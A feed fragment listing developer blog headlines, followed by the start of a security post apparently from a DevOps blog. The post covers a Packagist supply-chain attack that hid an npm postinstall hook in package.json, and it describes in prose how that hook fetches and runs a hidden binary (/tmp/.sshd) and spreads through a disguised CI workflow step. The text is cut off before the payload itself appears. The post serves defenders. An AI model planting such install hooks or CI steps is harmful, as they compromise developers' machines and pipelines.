          data-heading-id="h3-request-based-autoscaling-is-now-generally-available-on-app-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Traffic doesn’t spike on a schedule. A product launch, a viral moment, or a flash sale can send request volume through the roof in seconds, long before your CPU metrics catch up. That gap is where per</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/request-based-autoscaling-app-platform"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-recognized-as-a-leader-in-the-gartner-magic-quadrant-for-enterprise-ai-coding-agents-for-the-third-year-in-a-row" class="group relative scroll-mt-24">
        <a href="#h3-github-recognized-as-a-leader-in-the-gartner-magic-quadrant-for-enterprise-ai-coding-agents-for-the-third-year-in-a-row" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub recognized as a Leader in the Gartner® Magic Quadrant™ for Enterprise AI Coding Agents for the third year in a row
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-recognized-as-a-leader-in-the-gartner-magic-quadrant-for-enterprise-ai-coding-agents-for-the-third-year-in-a-row"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are committed to empowering every developer by building an open, secure, and AI-powered platform that defines the future of software development. The post GitHub recognized as a Leader in the Gartn</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/github-recognized-as-a-leader-in-the-gartner-magic-quadrant-for-enterprise-ai-coding-agents-for-the-third-year-in-a-row/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-blueprint-how-movix-fills-a-gap-in-dental-skills-with-specialized-agentic-ai" class="group relative scroll-mt-24">
        <a href="#h3-the-blueprint-how-movix-fills-a-gap-in-dental-skills-with-specialized-agentic-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Blueprint: How Movix fills a gap in dental skills with specialized agentic AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-blueprint-how-movix-fills-a-gap-in-dental-skills-with-specialized-agentic-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to The Blueprint, a regular feature where we highlight how Google Cloud customers are tackling unique and common challenges across industries using the latest AI and cloud technologies. We hop</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/startups/filling-the-gaps-in-dental-skills-with-specialized-agentic-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-announces-fully-managed-kubeflow-ai-operations-platform-on-the-microsoft-azure-marketplace" class="group relative scroll-mt-24">
        <a href="#h3-canonical-announces-fully-managed-kubeflow-ai-operations-platform-on-the-microsoft-azure-marketplace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical announces fully Managed Kubeflow AI operations platform on the Microsoft Azure Marketplace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-announces-fully-managed-kubeflow-ai-operations-platform-on-the-microsoft-azure-marketplace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical has announced the general availability of Managed Kubeflow on the Microsoft Azure Marketplace. This fully managed MLOps platform allows enterprise AI teams to deploy a production-ready envir</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/managed-kubeflow-microsoft-azure-canonical-release"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1122" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1122" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.122
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1122"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.122 (Insiders) Read the full article</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_122"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-jaeger-hit-86-compression-on-10-million-spans-with-clickhouse" class="group relative scroll-mt-24">
        <a href="#h3-how-jaeger-hit-86-compression-on-10-million-spans-with-clickhouse" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Jaeger hit 8.6× compression on 10 million spans with ClickHouse
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-jaeger-hit-86-compression-on-10-million-spans-with-clickhouse"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As someone who’s been maintaining Jaeger, I’ve watched users request ClickHouse support consistently over the past few years. With Jaeger The post How Jaeger hit 8.6× compression on 10 million spans w</p>
<p><strong>📅 May 24, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/jaeger-clickhouse-storage-backend/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-clickhouse-learned-from-a-year-of-coding-with-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-what-clickhouse-learned-from-a-year-of-coding-with-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What ClickHouse learned from a year of coding with AI agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-clickhouse-learned-from-a-year-of-coding-with-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Some people will tell you agents will take all our jobs. Others insist they are useless. Leadership at many companies The post What ClickHouse learned from a year of coding with AI agents appeared fir</p>
<p><strong>📅 May 24, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/clickhouse-ai-coding-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-openclaw-passed-300000-github-stars-then-google-launched-spark" class="group relative scroll-mt-24">
        <a href="#h3-openclaw-passed-300000-github-stars-then-google-launched-spark" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenClaw passed 300,000 GitHub stars. Then Google launched Spark.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-openclaw-passed-300000-github-stars-then-google-launched-spark"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenClaw made the always-on agent feel personal by making it live somewhere you could point at — a Mac mini The post OpenClaw passed 300,000 GitHub stars. Then Google launched Spark. appeared first on</p>
<p><strong>📅 May 23, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/gemini-spark-vs-openclaw/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-jetbrains-fit-test-is-this-the-right-workplace-for-you" class="group relative scroll-mt-24">
        <a href="#h3-the-jetbrains-fit-test-is-this-the-right-workplace-for-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The JetBrains Fit Test: Is This the Right Workplace for You?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-jetbrains-fit-test-is-this-the-right-workplace-for-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you’ve ever wondered what it’s really like to work at JetBrains, this post is for you. We could tell you about our products, our offices, or the number of developers who use our tools, but the trut</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/life-at-jetbrains/2026/05/the-jetbrains-fit-test-is-this-the-right-workplace-for-you/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-happens-when-you-give-ai-agents-the-map-of-your-codes-coverage" class="group relative scroll-mt-24">
        <a href="#h3-what-happens-when-you-give-ai-agents-the-map-of-your-codes-coverage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What Happens When You Give AI Agents the Map of Your Code’s Coverage?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-happens-when-you-give-ai-agents-the-map-of-your-codes-coverage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you ask an AI agent to write a new feature, a good agent will eventually say: “I need to write a test for this.” But what happens next is usually messy. To figure out where that new test belongs,</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/dotnet/2026/05/22/claude-codex-ai-agent-skill-for-writing-tests/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rider-20262-eap-3-cost-effective-agentic-test-coverage-code-change-previews-gamedev-templates-and-nuget-improvements" class="group relative scroll-mt-24">
        <a href="#h3-rider-20262-eap-3-cost-effective-agentic-test-coverage-code-change-previews-gamedev-templates-and-nuget-improvements" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Rider 2026.2 EAP 3: Cost-effective Agentic Test Coverage, Code Change Previews, GameDev Templates, and NuGet Improvements
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rider-20262-eap-3-cost-effective-agentic-test-coverage-code-change-previews-gamedev-templates-and-nuget-improvements"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>JetBrains Rider 2026.2 EAP 3 is out! You can download this version from our website, update directly from within the IDE, use the free Toolbox App, or install it via snap packages. Here’s what you can</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/dotnet/2026/05/22/rider-2026-2-eap-3-cost-effective-agentic-test-coverage-code-change-previews-gamedev-templates-and-nuget-improvements/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-decoding-design-how-design-and-engineering-thrive-together-in-open-source" class="group relative scroll-mt-24">
        <a href="#h3-decoding-design-how-design-and-engineering-thrive-together-in-open-source" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Decoding design: How design and engineering thrive together in open source
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-decoding-design-how-design-and-engineering-thrive-together-in-open-source"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Open source thrives on engineering-driven processes. Fast feedback loops, terminal tools, Git workflows: they’re the lifeblood of how we build software in the open. But for software to truly excel, we</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/decoding-design-how-design-and-engineering-thrive-together-in-open-source"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-may-22-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-may-22-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — May 22, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-may-22-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Fierce Network: Red Hat CTO says these are 3 big things it’s working on with telcosVerizon took to the keynote stage at Red Hat Summit to talk up its network modernization work with the vendor. Red Ha</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-may-22-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-developing-web-apps-with-local-llm-inference" class="group relative scroll-mt-24">
        <a href="#h3-developing-web-apps-with-local-llm-inference" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Developing web apps with local LLM inference
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-developing-web-apps-with-local-llm-inference"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’ve yet to meet a developer that enjoys working with metered AI APIs. The need to pay for every API call in development works in direct opposition to the ethos of rapid iteration, and it’s easy for t</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/developing-web-apps-with-local-llm-inference"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-even-is-the-harness-in-ai" class="group relative scroll-mt-24">
        <a href="#h3-what-even-is-the-harness-in-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What even is the harness in AI?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-even-is-the-harness-in-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I recently saw OpenClaw referred to as a harness. I thought, “That’s interesting. OpenClaw isn’t a harness. It’s an agent runtime—it drives the agent loop.” So, what does the word &quot;harness&quot; even mean?</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/what-even-harness-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-red-hats-approach-to-keyboard-testing-for-web-accessibility" class="group relative scroll-mt-24">
        <a href="#h3-red-hats-approach-to-keyboard-testing-for-web-accessibility" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Red Hat's Approach to Keyboard Testing for Web Accessibility
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-red-hats-approach-to-keyboard-testing-for-web-accessibility"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>One of the core principles of Red Hat’s open source culture is open exchange, which is the belief that information should be freely available and accessible to anyone. I recently represented Red Hat a</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/beyond-automation-why-manual-keyboard-testing-essential-real-accessibility"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[When the Malicious Hook Is in the Other Manifest: 700+ Repos, 8 Packagist Packages, One package.json Trick]]></title>
      <link>https://devops.anhp.site/posts/postinstall-hidden-in-package-json-php-supply-chain-may-2026</link>
      <description><![CDATA[On May 22, 2026, Socket disclosed a Composer supply chain attack that hid an npm-style postinstall command inside package.json on PHP projects. composer.json was clean, the PHP review missed it, and 700+ GitHub repos pulled it in. Here is the exact payload, why ecosystem-boundary blindness keeps catching teams, and how to wire your CI to look at both manifests.]]></description>
      <pubDate>Sat, 23 May 2026 09:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/postinstall-hidden-in-package-json-php-supply-chain-may-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[Supply Chain]]></category><category><![CDATA[Security]]></category><category><![CDATA[Packagist]]></category><category><![CDATA[npm]]></category><category><![CDATA[PHP]]></category><category><![CDATA[GitHub Actions]]></category>
      <content:encoded><![CDATA[<p>On May 22, 2026, <a href="https://socket.dev/blog/malicious-postinstall-hook-found-across-700-github-repos">Socket disclosed</a> a supply chain campaign that confirmed something defenders already half-knew: if your project carries two ecosystems&#39; manifests, an attacker only has to poison the one your review process ignores. The campaign hit eight Packagist (PHP / Composer) packages including the popular Laravel SaaS starter <code>devdojo/wave</code> (6,400 GitHub stars) and <code>devdojo/genesis</code> (9,100 Packagist installs). The malicious code was not in <code>composer.json</code>. It was in <code>package.json</code>. A PHP team running their normal Composer dependency review would never have seen it.</p>
<p>Within 17 hours of detection, a GitHub code search for the attacker-controlled account <code>parikhpreyash4</code> was returning hundreds of public code results across Node.js repositories. The total reach landed somewhere north of 700 GitHub repos pulling the same install hook, with a secondary spread vector hiding in <code>.github/workflows/ci.yml</code> as a step innocently named &quot;Dependency Cache Sync&quot;.</p>
<p>This post covers what the payload does, why the cross-manifest hiding trick keeps working, the one-liner that tells you whether any PHP repo you maintain is exposed, and how to make your CI look at every manifest a repo carries instead of just the one that matches the language you think it&#39;s written in.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>8 Packagist packages were compromised by adding an npm-style <code>postinstall</code> script to <code>package.json</code> (not <code>composer.json</code>). Most were development branches (<code>dev-main</code>, <code>dev-master</code>, <code>3.x-dev</code>), which is enough to hit anyone pinning to a branch instead of a tag.</li>
<li>The script downloads a Linux binary from a GitHub Releases URL, saves it as <code>/tmp/.sshd</code>, makes it executable, and runs it in the background. The binary itself was pulled from GitHub before researchers could grab a copy.</li>
<li>The attacker also injected the same command into <code>.github/workflows/ci.yml</code> of public forks as a step called &quot;Dependency Cache Sync&quot;. A merged PR can plant this; subsequent CI runs will re-infect even after the package itself is cleaned.</li>
<li>The PHP angle is the story. Cross-ecosystem manifests in a single repo are normal (any Laravel app with a Vite or Tailwind build ships both <code>composer.json</code> and <code>package.json</code>). Most security review pipelines only audit the manifest of the language they think the repo is.</li>
<li>Detection one-liner is at the bottom. Rotation order at the very bottom.</li>
</ul>
<h2 id="h2-the-exact-payload" class="group relative scroll-mt-24">
        <a href="#h2-the-exact-payload" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The exact payload
        </a>
        <button 
